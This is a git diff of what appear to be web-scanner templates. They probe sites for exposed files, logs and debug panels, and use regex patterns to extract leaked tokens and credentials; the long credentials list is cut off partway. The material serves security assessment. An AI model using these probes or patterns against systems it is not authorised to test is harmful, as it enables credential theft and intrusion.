+ reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/pyproject-disclosure.json
+ tags: exposure,files
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/pyproject.toml"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "[build-system]"
+ - "[tool.poetry]"
+ part: body
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/ruby-on-rails-secret-token-disclosure.yaml b/exposures/files/ruby-on-rails-secret-token-disclosure.yaml
new file mode 100644
index 0000000000..1e68f41bd6
--- /dev/null
+++ b/exposures/files/ruby-on-rails-secret-token-disclosure.yaml
@@ -0,0 +1,25 @@
+id: ruby-on-rails-secret-token-disclosure
+
+info:
+ name: Ruby on Rails Secret Token Disclosure
+ author: dhiyaneshDk
+ severity: medium
+ reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/ruby-on-rails-secret-token-disclosure.json
+ tags: exposure,files
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/config/initializers/secret_token.rb"
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "secret_key_base ="
+ - "config.secret_token ="
+ part: body
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/sensitive-storage-data-exposure.yaml b/exposures/files/sensitive-storage-data-exposure.yaml
new file mode 100644
index 0000000000..5db4e2330b
--- /dev/null
+++ b/exposures/files/sensitive-storage-data-exposure.yaml
@@ -0,0 +1,28 @@
+id: sensitive-storage-data-expose
+info:
+ name: Sensitive Storage Data Exposed
+ author: pussycat0x
+ severity: medium
+ description: Searches for sensitive keys file,logs,debugbar,app.
+ reference: https://www.exploit-db.com/ghdb/6304
+ tags: expose,listing,config,logs
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/storage/"
+ - "{{BaseURL}}/api_smartapp/storage/"
+ - "{{BaseURL}}/equipbid/storage/"
+ - "{{BaseURL}}/server/storage/"
+ - "{{BaseURL}}/intikal/storage/"
+ - "{{BaseURL}}/elocker_old/storage/"
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Index of"
+ - "oauth-private.key"
+ - "oauth-private.key"
+ condition: and
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/shellscripts.yaml b/exposures/files/shellscripts.yaml
new file mode 100644
index 0000000000..9ba7e828ad
--- /dev/null
+++ b/exposures/files/shellscripts.yaml
@@ -0,0 +1,49 @@
+id: shellscripts
+
+info:
+ name: Public shellscripts
+ author: panch0r3d
+ severity: low
+ tags: bash,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/.build.sh"
+ - "{{BaseURL}}/.jenkins.sh"
+ - "{{BaseURL}}/.travis.sh"
+ - "{{BaseURL}}/install.sh"
+ - "{{BaseURL}}/update.sh"
+ - "{{BaseURL}}/config.sh"
+ - "{{BaseURL}}/build.sh"
+ - "{{BaseURL}}/setup.sh"
+ - "{{BaseURL}}/run.sh"
+ - "{{BaseURL}}/backup.sh"
+ - "{{BaseURL}}/compile.sh"
+ - "{{BaseURL}}/env.sh"
+ - "{{BaseURL}}/init.sh"
+ - "{{BaseURL}}/startup.sh"
+ - "{{BaseURL}}/wp-setup.sh"
+ - "{{BaseURL}}/deploy.sh"
+ - "{{BaseURL}}/aws.sh"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "application/x-sh"
+ - "text/plain"
+ - "text/x-sh"
+ part: header
+ condition: or
+
+ - type: regex
+ regex:
+ - ".*?bin.*?sh"
+ - ".*?bin.*?bash"
+ part: body
+ condition: or
\ No newline at end of file
diff --git a/exposures/files/snyk-ignore-file-disclosure.yaml b/exposures/files/snyk-ignore-file-disclosure.yaml
new file mode 100644
index 0000000000..4f29c69b71
--- /dev/null
+++ b/exposures/files/snyk-ignore-file-disclosure.yaml
@@ -0,0 +1,24 @@
+id: snyk-ignore-file-disclosure
+
+info:
+ name: Snyk Ignore File Disclosure
+ author: dhiyaneshDk
+ severity: info
+ reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/snyk-ignore-file-disclosure.json
+ tags: exposure,files
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/.snyk"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities."
+ part: body
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/thumbs-db-disclosure.yaml b/exposures/files/thumbs-db-disclosure.yaml
new file mode 100644
index 0000000000..b5ee7b65d9
--- /dev/null
+++ b/exposures/files/thumbs-db-disclosure.yaml
@@ -0,0 +1,23 @@
+id: thumbs-db-disclosure
+
+info:
+ name: Thumbs DB Disclosure
+ author: dhiyaneshDk
+ severity: info
+ reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/thumbs-db-disclosure.json
+ tags: exposure,files
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/Thumbs.db"
+ matchers-condition: and
+ matchers:
+ - type: binary
+ binary:
+ - 'D0CF11E0A1B11AE1'
+ part: body
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/files/yarn-lock.yaml b/exposures/files/yarn-lock.yaml
new file mode 100644
index 0000000000..f2b729f35b
--- /dev/null
+++ b/exposures/files/yarn-lock.yaml
@@ -0,0 +1,30 @@
+id: yarn-lock
+
+info:
+ name: yarn lock file disclosure
+ author: oppsec
+ severity: info
+ description: yarn.lock is a file which store all exactly versions of each dependency were installed.
+ tags: exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/yarn.lock"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY."
+ - "# yarn lockfile v1"
+ condition: and
+
+ - type: word
+ words:
+ - "text/html"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/logs/access-log.yaml b/exposures/logs/access-log.yaml
new file mode 100644
index 0000000000..16c3349ad5
--- /dev/null
+++ b/exposures/logs/access-log.yaml
@@ -0,0 +1,27 @@
+id: access-log-file
+
+info:
+ name: Publicly accessible access-log file
+ author: sheikhrishad
+ severity: low
+ tags: logs
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/access.log"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '"GET /'
+
+ - type: word
+ words:
+ - "text/plain"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/logs/darkstat-detect.yaml b/exposures/logs/darkstat-detect.yaml
new file mode 100644
index 0000000000..630b00c077
--- /dev/null
+++ b/exposures/logs/darkstat-detect.yaml
@@ -0,0 +1,36 @@
+id: darkstat-detect
+
+info:
+ name: Detect Darkstat Reports
+ author: geeknik
+ description: Darkstat captures network traffic, calculates statistics about usage, and serves reports over HTTP
+ reference: https://unix4lyfe.org/darkstat/
+ severity: high
+ tags: darkstat,logs,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ - "{{BaseURL}}/darkstat/"
+ # FYI, the default port for darkstat is 666
+ matchers-condition: and
+ matchers:
+ - type: regex
+ part: header
+ regex:
+ - "[Ss]erver: darkstat.*"
+ - type: word
+ part: body
+ words:
+ - "darkstat"
+ - "Graphs"
+ - "Measuring for"
+ - "hosts</a>"
+ condition: and
+
+ extractors:
+ - type: kval
+ part: header
+ kval:
+ - server
diff --git a/exposures/logs/development-logs.yaml b/exposures/logs/development-logs.yaml
new file mode 100644
index 0000000000..a46ddc2ed5
--- /dev/null
+++ b/exposures/logs/development-logs.yaml
@@ -0,0 +1,45 @@
+id: development-logs
+
+info:
+ name: Discover development log files
+ author: geeknik
+ severity: info
+ tags: logs,exposure,rails
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/log/development.log"
+ - "{{BaseURL}}/logs/development.log"
+ - "{{BaseURL}}/development.log"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Connecting to database specified by database.yml"
+ - "Started GET"
+ condition: or
+
+ - type: word
+ words:
+ - "DEPRECATION WARNING"
+ - "CREATE TABLE"
+ condition: or
+
+ - type: word
+ part: header
+ words:
+ - "text/html"
+ negative: true
+
+ - type: status
+ status:
+ - 200
+
+ extractors:
+ - type: regex
+ name: last_modified
+ part: header
+ regex:
+ - 'Last-Modified:.*'
diff --git a/exposures/logs/elmah-log-file.yaml b/exposures/logs/elmah-log-file.yaml
index 1737c0e9eb..7d4a53f33c 100644
--- a/exposures/logs/elmah-log-file.yaml
+++ b/exposures/logs/elmah-log-file.yaml
@@ -4,7 +4,7 @@ info:
name: elmah.axd Disclosure
author: shine
severity: medium
- tags: logs
+ tags: logs,exposure
requests:
- method: GET
diff --git a/exposures/logs/error-logs.yaml b/exposures/logs/error-logs.yaml
index fb828d0f43..fef1228189 100644
--- a/exposures/logs/error-logs.yaml
+++ b/exposures/logs/error-logs.yaml
@@ -1,13 +1,17 @@
id: error-logs
info:
name: common error log files
- author: geeknik
- severity: info
- tags: logs
+ author: geeknik,daffainfo
+ severity: low
+ tags: logs,exposure
requests:
- method: GET
path:
+ - "{{BaseURL}}/routes/error_log"
+ - "{{BaseURL}}/config/error_log"
+ - "{{BaseURL}}/error_log"
+ - "{{BaseURL}}/errors_log"
- "{{BaseURL}}/logs/error.log"
- "{{BaseURL}}/logs/errors.log"
- "{{BaseURL}}/log/error.log"
@@ -21,12 +25,16 @@ requests:
- "{{BaseURL}}/admin/logs/error.log"
- "{{BaseURL}}/admin/logs/errors.log"
- "{{BaseURL}}/admin/log/error.log"
- - "{{BaseURL}}/admin/logs/errors.log"
- "{{BaseURL}}/admin/error.log"
- "{{BaseURL}}/admin/errors.log"
- "{{BaseURL}}/{{Hostname}}/error.log"
- "{{BaseURL}}/{{Hostname}}/errors.log"
- "{{BaseURL}}/MyErrors.log"
+ - "{{BaseURL}}/log.txt"
+ - "{{BaseURL}}/logs.txt"
+ - "{{BaseURL}}/log.log"
+ - "{{BaseURL}}/application/logs/application.log"
+ - "{{BaseURL}}/application/logs/default.log"
matchers-condition: and
matchers:
@@ -36,6 +44,7 @@ requests:
- "coredump"
- "script headers"
- "Broken pipe"
+ - "Array"
condition: or
- type: word
diff --git a/exposures/logs/exposed-glances-api.yaml b/exposures/logs/exposed-glances-api.yaml
new file mode 100644
index 0000000000..8c2bcf81af
--- /dev/null
+++ b/exposures/logs/exposed-glances-api.yaml
@@ -0,0 +1,27 @@
+id: exposed-glances-api
+info:
+ name: Exposed Glances API
+ author: princechaddha
+ severity: low
+ description: Glances is a cross-platform system monitoring tool written in Python.
+ reference: https://nicolargo.github.io/glances/
+ tags: glances,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - 'title">Glances '
+ - 'glances.config'
+ - 'Telescope "
+ - "Requests"
+ - "Commands"
+ - "Schedule"
+ condition: and
diff --git a/exposures/logs/lucee-stack-trace.yaml b/exposures/logs/lucee-stack-trace.yaml
new file mode 100644
index 0000000000..a3e47132eb
--- /dev/null
+++ b/exposures/logs/lucee-stack-trace.yaml
@@ -0,0 +1,25 @@
+id: lucee-stack-trace
+
+info:
+ name: Lucee Stack Trace Error
+ author: dhiyaneshDK
+ severity: low
+ reference: https://www.shodan.io/search?query=http.title%3A%22Lucee%22
+ tags: lucee,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'lucee.runtime'
+
+ - type: status
+ status:
+ - 500
+ - 200
+ condition: or
diff --git a/exposures/logs/npm-log-file.yaml b/exposures/logs/npm-log-file.yaml
index ba8ddbc78b..da4d1d512e 100644
--- a/exposures/logs/npm-log-file.yaml
+++ b/exposures/logs/npm-log-file.yaml
@@ -4,7 +4,7 @@ info:
name: Publicly accessible NPM Log file
author: sheikhrishad
severity: low
- tags: npm,logs
+ tags: npm,logs,exposure
requests:
- method: GET
diff --git a/exposures/logs/oracle-ebs-sqllog-disclosure.yaml b/exposures/logs/oracle-ebs-sqllog-disclosure.yaml
new file mode 100644
index 0000000000..c98779e230
--- /dev/null
+++ b/exposures/logs/oracle-ebs-sqllog-disclosure.yaml
@@ -0,0 +1,32 @@
+id: oracle-ebs-sqllog-disclosure
+
+info:
+ name: Oracle EBS SQL Log Disclosure
+ author: dhiyaneshDk
+ severity: medium
+ tags: oracle,ebs,logs,exposure
+ reference: https://the-infosec.com/2017/03/29/do-you-know-what-your-erp-is-telling-us/
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/OA_HTML/bin/sqlnet.log'
+ headers:
+ User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "DESCRIPTION="
+ - "USER="
+ part: body
+
+ - type: word
+ words:
+ - "text/plain"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/logs/php-debug-bar.yaml b/exposures/logs/php-debug-bar.yaml
new file mode 100644
index 0000000000..98fea9bec4
--- /dev/null
+++ b/exposures/logs/php-debug-bar.yaml
@@ -0,0 +1,30 @@
+id: php-debug-bar
+info:
+ name: PHP Debug bar
+ author: dhiyaneshDk
+ severity: high
+ tags: debug,logs,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/_debugbar/open?max=20&offset=0"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - '"id":"'
+ - '"datetime":'
+ - '"method"'
+ condition: and
+ part: body
+
+ - type: word
+ words:
+ - "application/json"
+ part: header
\ No newline at end of file
diff --git a/exposures/logs/production-logs.yaml b/exposures/logs/production-logs.yaml
new file mode 100644
index 0000000000..37ddf6c511
--- /dev/null
+++ b/exposures/logs/production-logs.yaml
@@ -0,0 +1,39 @@
+id: production-logs
+
+info:
+ name: Discover production log files
+ author: geeknik
+ severity: info
+ tags: exposure,logs,rails
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/log/production.log"
+ - "{{BaseURL}}/logs/production.log"
+ - "{{BaseURL}}/production.log"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Connecting to database specified by database.yml"
+ - "Started GET"
+ condition: and
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ part: header
+ words:
+ - "text/html"
+ negative: true
+
+ extractors:
+ - type: regex
+ name: last_modified
+ part: header
+ regex:
+ - 'Last-Modified:.*'
diff --git a/exposures/logs/pyramid-debug-toolbar.yaml b/exposures/logs/pyramid-debug-toolbar.yaml
new file mode 100644
index 0000000000..9a8a0cce4a
--- /dev/null
+++ b/exposures/logs/pyramid-debug-toolbar.yaml
@@ -0,0 +1,25 @@
+id: pyramid-debug-toolbar
+info:
+ name: Pyramid Debug Toolbar
+ author: geeknik
+ description: Pyramid Debug Toolbar provides a debug toolbar useful while you are developing your Pyramid application.
+ reference: https://github.com/Pylons/pyramid_debugtoolbar
+ severity: medium
+ tags: pyramid,logs,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/_debug_toolbar/"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "Pyramid Debug Toolbar "
+ - "Pyramid DebugToolbar"
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/logs/rails-debug-mode.yaml b/exposures/logs/rails-debug-mode.yaml
index bc0a549a7d..41809550db 100644
--- a/exposures/logs/rails-debug-mode.yaml
+++ b/exposures/logs/rails-debug-mode.yaml
@@ -2,9 +2,9 @@ id: rails-debug-mode
info:
name: Rails Debug Mode Enabled
- author: pd-team
+ author: pdteam
severity: medium
- tags: logs,rails
+ tags: logs,rails,exposure
requests:
- method: GET
diff --git a/exposures/logs/roundcube-log-disclosure.yaml b/exposures/logs/roundcube-log-disclosure.yaml
new file mode 100644
index 0000000000..2416620b57
--- /dev/null
+++ b/exposures/logs/roundcube-log-disclosure.yaml
@@ -0,0 +1,25 @@
+id: roundcube-log-disclosure
+
+info:
+ name: Roundcube Log Disclosure
+ author: dhiyaneshDk
+ severity: low
+ reference: https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/roundcube-log-disclosure.json
+ tags: exposure,logs
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/roundcube/logs/sendmail"
+ - "{{BaseURL}}/roundcube/logs/errors.log"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "IMAP Error:"
+ part: body
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/logs/squid-analysis-report-generator.yaml b/exposures/logs/squid-analysis-report-generator.yaml
new file mode 100644
index 0000000000..9e5f2e8919
--- /dev/null
+++ b/exposures/logs/squid-analysis-report-generator.yaml
@@ -0,0 +1,35 @@
+id: squid-analysis-report-generator
+
+info:
+ name: Squid Analysis Report Generator
+ author: geeknik
+ description: SARG is an open source tool that allows you to analyse the squid log files and generates beautiful reports in HTML format with informations about users, IP addresses, top accessed sites, total bandwidth usage, elapsed time, downloads, access denied websites, daily reports, weekly reports and monthly reports.
+ reference: https://sourceforge.net/projects/sarg/
+ severity: high
+ tags: sarg,exposure,logs
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ part: body
+ words:
+ - "Squid User Access Report"
+ - "Squid User's Access Report"
+ condition: or
+ - type: word
+ part: body
+ words:
+ - "Daily reports"
+ - "FILE/PERIOD"
+ condition: or
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - sarg-[0-99].[0-99].[0-99]
diff --git a/exposures/logs/struts-debug-mode.yaml b/exposures/logs/struts-debug-mode.yaml
index d72731b366..9a8b14dbe7 100644
--- a/exposures/logs/struts-debug-mode.yaml
+++ b/exposures/logs/struts-debug-mode.yaml
@@ -2,9 +2,9 @@ id: struts-debug-mode
info:
name: Apache Struts setup in Debug-Mode
- author: pd-team
+ author: pdteam
severity: low
- tags: logs,struts
+ tags: logs,struts,apache,exposure
requests:
- method: GET
diff --git a/exposures/logs/trace-axd-detect.yaml b/exposures/logs/trace-axd-detect.yaml
index 6af306c8aa..d6e003387f 100644
--- a/exposures/logs/trace-axd-detect.yaml
+++ b/exposures/logs/trace-axd-detect.yaml
@@ -5,7 +5,7 @@ info:
author: dhiyaneshDK
severity: low
reference: https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
- tags: logs,asp
+ tags: logs,asp,exposure
requests:
- method: GET
diff --git a/exposures/logs/wp-app-log.yaml b/exposures/logs/wp-app-log.yaml
new file mode 100644
index 0000000000..b1c8817b08
--- /dev/null
+++ b/exposures/logs/wp-app-log.yaml
@@ -0,0 +1,30 @@
+id: wp-app-log
+
+info:
+ name: Discover wp-app.log Files
+ author: geeknik
+ severity: info
+ tags: exposure,logs
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/wp-app.log"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "LANG"
+ - "Array"
+ condition: and
+
+ - type: word
+ part: header
+ words:
+ - "text/html"
+ negative: true
+
+ - type: status
+ status:
+ - 200
diff --git a/exposures/logs/zm-system-log-detect.yaml b/exposures/logs/zm-system-log-detect.yaml
new file mode 100644
index 0000000000..72e583915e
--- /dev/null
+++ b/exposures/logs/zm-system-log-detect.yaml
@@ -0,0 +1,23 @@
+id: zm-system-log-detect
+info:
+ name: zm-system-log-detect
+ author: pussycat0x
+ severity: low
+ reference: https://www.exploit-db.com/ghdb/6926
+ tags: logs,zm,exposure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/?view=log"
+ - "{{BaseURL}}zm/?view=log"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "ZM - System Log "
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/exposed-tokens/aws/amazon-mws-auth-token-value.yaml b/exposures/tokens/amazon/amazon-mws-auth-token.yaml
similarity index 67%
rename from exposed-tokens/aws/amazon-mws-auth-token-value.yaml
rename to exposures/tokens/amazon/amazon-mws-auth-token.yaml
index 7014b6572f..7bf17d69fb 100644
--- a/exposed-tokens/aws/amazon-mws-auth-token-value.yaml
+++ b/exposures/tokens/amazon/amazon-mws-auth-token.yaml
@@ -1,9 +1,10 @@
-id: amazon-mws-auth-token-value
+id: amazon-mws-auth-token
info:
+ name: Amazon MWS Auth Token
author: puzzlepeaches
- name: "Amazon MWS Auth Token"
- severity: medium
+ severity: info
+ tags: exposure,token,aws
requests:
- method: GET
diff --git a/exposures/tokens/amazon/amazon-sns-topic.yaml b/exposures/tokens/amazon/amazon-sns-topic.yaml
new file mode 100755
index 0000000000..5c40cf8ab0
--- /dev/null
+++ b/exposures/tokens/amazon/amazon-sns-topic.yaml
@@ -0,0 +1,17 @@
+id: amazon-sns-topic
+
+info:
+ name: Amazon SNS Topic Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token,amazon
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'arn:aws:sns:[a-z0-9\-]+:[0-9]+:[A-Za-z0-9\-_]+'
\ No newline at end of file
diff --git a/exposed-tokens/aws/aws-access-key-value.yaml b/exposures/tokens/amazon/aws-access-key-value.yaml
similarity index 85%
rename from exposed-tokens/aws/aws-access-key-value.yaml
rename to exposures/tokens/amazon/aws-access-key-value.yaml
index 6fb604ca25..52092fb630 100644
--- a/exposed-tokens/aws/aws-access-key-value.yaml
+++ b/exposures/tokens/amazon/aws-access-key-value.yaml
@@ -4,6 +4,7 @@ info:
name: AWS Access Key ID Value
author: Swissky
severity: info
+ tags: exposure,token,aws,amazon
requests:
- method: GET
diff --git a/exposures/tokens/artifactory/artifactory-api-password.yaml b/exposures/tokens/artifactory/artifactory-api-password.yaml
new file mode 100755
index 0000000000..fe9316ec66
--- /dev/null
+++ b/exposures/tokens/artifactory/artifactory-api-password.yaml
@@ -0,0 +1,18 @@
+id: artifactory-api-password
+
+info:
+ name: Artifactory Password Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token,artifactory
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - '(?:\s|=|:|"|^)AP[\dABCDEF][a-zA-Z0-9]{8,}'
\ No newline at end of file
diff --git a/exposures/tokens/artifactory/artifactory-api-token.yaml b/exposures/tokens/artifactory/artifactory-api-token.yaml
new file mode 100755
index 0000000000..271d18381e
--- /dev/null
+++ b/exposures/tokens/artifactory/artifactory-api-token.yaml
@@ -0,0 +1,18 @@
+id: artifactory-api-token
+
+info:
+ name: Artifactory API Token Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token,artifactory
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - '(?:\s|=|:|"|^)AKC[a-zA-Z0-9]{10,}'
\ No newline at end of file
diff --git a/exposures/tokens/bitly/bitly-secret-key.yaml b/exposures/tokens/bitly/bitly-secret-key.yaml
new file mode 100755
index 0000000000..518baeb061
--- /dev/null
+++ b/exposures/tokens/bitly/bitly-secret-key.yaml
@@ -0,0 +1,18 @@
+id: bitly-secret-key
+
+info:
+ name: Bitly Secret Key Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token,bitly
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'R_[0-9a-f]{32}'
\ No newline at end of file
diff --git a/exposures/tokens/cloudinary/cloudinary-credentials.yaml b/exposures/tokens/cloudinary/cloudinary-credentials.yaml
new file mode 100755
index 0000000000..bebe3d568f
--- /dev/null
+++ b/exposures/tokens/cloudinary/cloudinary-credentials.yaml
@@ -0,0 +1,18 @@
+id: cloudinary-credentials
+
+info:
+ name: Cloudinary Credentials Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token,cloudinary
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'cloudinary://[0-9]+:[A-Za-z0-9\-_\.]+@[A-Za-z0-9\-_\.]+'
\ No newline at end of file
diff --git a/exposures/tokens/discord/discord-webhook.yaml b/exposures/tokens/discord/discord-webhook.yaml
new file mode 100755
index 0000000000..8fdaedd83d
--- /dev/null
+++ b/exposures/tokens/discord/discord-webhook.yaml
@@ -0,0 +1,18 @@
+id: discord-webhook
+
+info:
+ name: Discord Webhook Disclosure
+ author: Ice3man
+ severity: info
+ tags: exposure,token,discord
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - 'https://discordapp\.com/api/webhooks/[0-9]+/[A-Za-z0-9\-]+'
\ No newline at end of file
diff --git a/exposures/tokens/generic/credentials-disclosure.yaml b/exposures/tokens/generic/credentials-disclosure.yaml
new file mode 100644
index 0000000000..0670daecbc
--- /dev/null
+++ b/exposures/tokens/generic/credentials-disclosure.yaml
@@ -0,0 +1,716 @@
+id: credentials-disclosure
+
+# Extract secrets regex like api keys, password, token, etc ... for different services
+# Always validate the leaked key/tokens/passwords to make sure it's valid, a token/keys without any impact is not an valid issue.
+# Severity is not fixed in this case, it varies from none to critical depending upon impact of disclosed key/tokes.
+# Regex count:- 687
+
+# Notes:-
+# This template requires manual inspection once found valid match.
+# Generic token could be anything matching below regex.
+# Impact of leaked token depends on validation of leaked token.
+
+info:
+ name: Credentials Disclosure Check
+ author: Sy3Omda
+ severity: info
+ description: Look for multiple keys/tokens/passwords in the page response.
+ tags: exposure,token
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - "(?i)zopim[_-]?account[_-]?key(=| =|:| :)"
+ - "(?i)zhuliang[_-]?gh[_-]?token(=| =|:| :)"
+ - "(?i)zensonatypepassword(=| =|:| :)"
+ - "(?i)zendesk[_-]?travis[_-]?github(=| =|:| :)"
+ - "(?i)yt[_-]?server[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)yt[_-]?partner[_-]?refresh[_-]?token(=| =|:| :)"
+ - "(?i)yt[_-]?partner[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)yt[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)yt[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)yt[_-]?account[_-]?refresh[_-]?token(=| =|:| :)"
+ - "(?i)yt[_-]?account[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)yangshun[_-]?gh[_-]?token(=| =|:| :)"
+ - "(?i)yangshun[_-]?gh[_-]?password(=| =|:| :)"
+ - "(?i)www[_-]?googleapis[_-]?com(=| =|:| :)"
+ - "(?i)wpt[_-]?ssh[_-]?private[_-]?key[_-]?base64(=| =|:| :)"
+ - "(?i)wpt[_-]?ssh[_-]?connect(=| =|:| :)"
+ - "(?i)wpt[_-]?report[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)wpt[_-]?prepare[_-]?dir(=| =|:| :)"
+ - "(?i)wpt[_-]?db[_-]?user(=| =|:| :)"
+ - "(?i)wpt[_-]?db[_-]?password(=| =|:| :)"
+ - "(?i)wporg[_-]?password(=| =|:| :)"
+ - "(?i)wpjm[_-]?phpunit[_-]?google[_-]?geocode[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)wordpress[_-]?db[_-]?user(=| =|:| :)"
+ - "(?i)wordpress[_-]?db[_-]?password(=| =|:| :)"
+ - "(?i)wincert[_-]?password(=| =|:| :)"
+ - "(?i)widget[_-]?test[_-]?server(=| =|:| :)"
+ - "(?i)widget[_-]?fb[_-]?password[_-]?3(=| =|:| :)"
+ - "(?i)widget[_-]?fb[_-]?password[_-]?2(=| =|:| :)"
+ - "(?i)widget[_-]?fb[_-]?password(=| =|:| :)"
+ - "(?i)widget[_-]?basic[_-]?password[_-]?5(=| =|:| :)"
+ - "(?i)widget[_-]?basic[_-]?password[_-]?4(=| =|:| :)"
+ - "(?i)widget[_-]?basic[_-]?password[_-]?3(=| =|:| :)"
+ - "(?i)widget[_-]?basic[_-]?password[_-]?2(=| =|:| :)"
+ - "(?i)widget[_-]?basic[_-]?password(=| =|:| :)"
+ - "(?i)watson[_-]?password(=| =|:| :)"
+ - "(?i)watson[_-]?device[_-]?password(=| =|:| :)"
+ - "(?i)watson[_-]?conversation[_-]?password(=| =|:| :)"
+ - "(?i)wakatime[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)vscetoken(=| =|:| :)"
+ - "(?i)visual[_-]?recognition[_-]?api[_-]?key(=| =|:| :)"
+ - "(?i)virustotal[_-]?apikey(=| =|:| :)"
+ - "(?i)vip[_-]?github[_-]?deploy[_-]?key[_-]?pass(=| =|:| :)"
+ - "(?i)vip[_-]?github[_-]?deploy[_-]?key(=| =|:| :)"
+ - "(?i)vip[_-]?github[_-]?build[_-]?repo[_-]?deploy[_-]?key(=| =|:| :)"
+ - "(?i)v[_-]?sfdc[_-]?password(=| =|:| :)"
+ - "(?i)v[_-]?sfdc[_-]?client[_-]?secret(=| =|:| :)"
+ - "(?i)usertravis(=| =|:| :)"
+ - "(?i)user[_-]?assets[_-]?secret[_-]?access[_-]?key(=| =|:| :)"
+ - "(?i)user[_-]?assets[_-]?access[_-]?key[_-]?id(=| =|:| :)"
+ - "(?i)use[_-]?ssh(=| =|:| :)"
